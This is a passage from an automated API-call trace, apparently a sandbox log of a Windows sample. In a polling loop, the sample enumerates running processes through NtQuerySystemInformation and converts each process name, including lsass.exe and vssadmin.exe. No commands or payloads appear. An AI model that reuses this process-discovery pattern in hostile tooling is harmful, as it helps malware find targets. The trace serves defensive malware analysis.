Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0183.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.645] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0183.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.645] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0183.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.645] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0183.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.645] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0183.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.646] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0183.646] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.646] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0183.646] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.646] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0183.646] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.647] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0183.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.647] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0183.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.647] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0183.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.648] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0183.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0183.648] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0183.648] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0650 [0183.648] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0183.648] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e58 [0183.648] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.648] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0183.648] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0183.648] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.648] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.648] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0183.648] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0183.648] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.648] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e58 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e70 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f04d0 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.649] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.649] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e58 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc050 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1a18 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e58 [0183.650] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.650] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d18d8 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ab8 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.651] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0183.651] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.651] Sleep (dwMilliseconds=0x64) [0183.807] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0183.807] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.808] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0183.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.808] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0183.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.808] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0183.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.808] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0183.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.809] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0183.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.809] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0183.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.809] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0183.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.809] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0183.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.810] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0183.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.810] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0183.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.810] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0183.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.810] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0183.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.811] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0183.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.811] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0183.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.811] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0183.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.812] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0183.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.812] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0183.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.812] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0183.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.813] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0183.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0183.813] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0183.813] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f06a0 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e10 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e40 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e70 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0183.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0183.814] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0830 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0183.815] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 